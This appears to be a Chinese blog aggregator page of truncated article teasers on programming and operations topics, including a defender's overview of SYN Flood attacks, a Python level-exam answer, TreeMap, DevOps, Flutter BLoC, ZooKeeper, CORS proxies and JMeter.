作为高防工程师,我每天拦截数以万计的恶意流量,其中TCP/IP协议层攻击是最隐蔽、最具破坏性的威胁之一。常见的攻击手法包括: 1. SYN Flood攻击:攻击者发送大量伪造的SYN包,耗尽服务器连接资源,导致正常用…...
2025年3月中国电子学会青少年软件编程(Python)等级考试试卷(一级)答案 + 解析
更多真题在线练习系统:历年真题在线练习系统 一、单选题 1、下列哪个软件不能运行 Python 程序?( ) A、JupyterNotebook B、Pycharm C、原版的Scratch D、IDLE 正确答案:C 答案解析:本题考察的 Pyt…...
TreeMap 核心知识点与面试题解析
TreeMap 核心知识点与面试题解析 一、TreeMap 基础概念 TreeMap 是 Java 集合框架中基于 红黑树(Red-Black Tree) 实现的 Map,具有以下特点: 有序性:默认按 key 的自然顺序(Comparable)或自定…...
深入理解 DevOps 与 CI/CD:概念、流程及优势
在当今快速发展的数字化时代,软件开发和交付的速度与质量成为企业在激烈竞争中脱颖而出的关键因素。DevOps 和 CI/CD 作为现代软件开发领域的重要理念和实践,正深刻地改变着软件开发生命周期的运作方式。本文将深入探讨 DevOps 的概念,详细解析 CI/CD 的内涵、管道阶段以及实…...
Flutter BloC 架构入门指南
BLoC (Business Logic Component) 是 Flutter 中一种流行的状态管理架构,它可以帮助你将业务逻辑与 UI 分离,使代码更清晰、可测试性更强。 核心概念 1. BloC 的核心组件 Events:用户交互或系统事件(如按钮点击、网络请求完成&…...
OpenHarmony-AI调研
OpenHarmony-AI调研 文章目录 OpenHarmony-AI调研前言一、当前版本部署组件二、AI架构1.mindspore-lite2.ai_engine3.neural_network_runtime4.intelligent_voice_framework5.HDI驱动 三、应用1.命令行以及web运行deepseek-r12.与deepseek通过语音进行交互3.物品识别4.人脸识别…...
zk基础—zk实现分布式功能
1.zk实现数据发布订阅 (1)发布订阅系统一般有推模式和拉模式 推模式:服务端主动将更新的数据发送给所有订阅的客户端。 拉模式:客户端主动发起请求来获取最新数据(定时轮询拉取)。 (2)zk采用了推拉相结合来实现发布订阅 首先客户端需要向服务端注册自己关…...
Tips:用proxy解决前后端分离项目中的跨域问题
在前后端分离项目中,"跨域问题"是浏览器基于同源策略(Same-Origin Policy)对跨域请求的安全限制。当你的前端(如运行在 http://localhost:3000 )和后端(如运行在 http://localhost:8080 &#…...
JMeterPlugins-Standard-1.4.0 插件详解:安装、功能与使用指南
JMeterPlugins-Standard-1.4.0 是 Apache JMeter(一款流行的开源负载和性能测试工具)的插件包,它扩展了 JMeter 的功能,提供了更多监听器(Listeners)、采样器(Samplers)和辅助组件&a…...
JMeter 中,Token 和 Cookie 的区别及实际应用
在 JMeter 中,Token 和 Cookie 都是用于处理用户会话和身份验证的机制,但它们的 工作原理、存储方式 和 应用场景 有显著区别。以下是详细对比和实际应用指南: 1. 核心区别 特性Token (如 JWT、OAuth)Cookie存储位置通常存储在 HTTP 请求头(如 Authorization: Bearer <t…...
蓝桥杯真题——好数、R格式
目录 蓝桥杯2024年第十五届省赛真题-好数 【模拟题】 题目描述 输入格式 输出格式 样例输入 样例输出 提示 代码1:有两个案例过不了,超时 蓝桥杯2024年第十五届省赛真题-R 格式 【vector容器的使用】 题目描述 输入格式 输出格式 样例输入…...
JavaScript惰性加载优化实例
这是之前的一位朋友的酒桌之谈,他之前负责的一个电商项目,刚刚开发万,首页加载时间特别长,体验很差,所以就开始排查,发现是在首页一次性加载所有js导致的问题,这个问题在自己学习的时候并不明显…...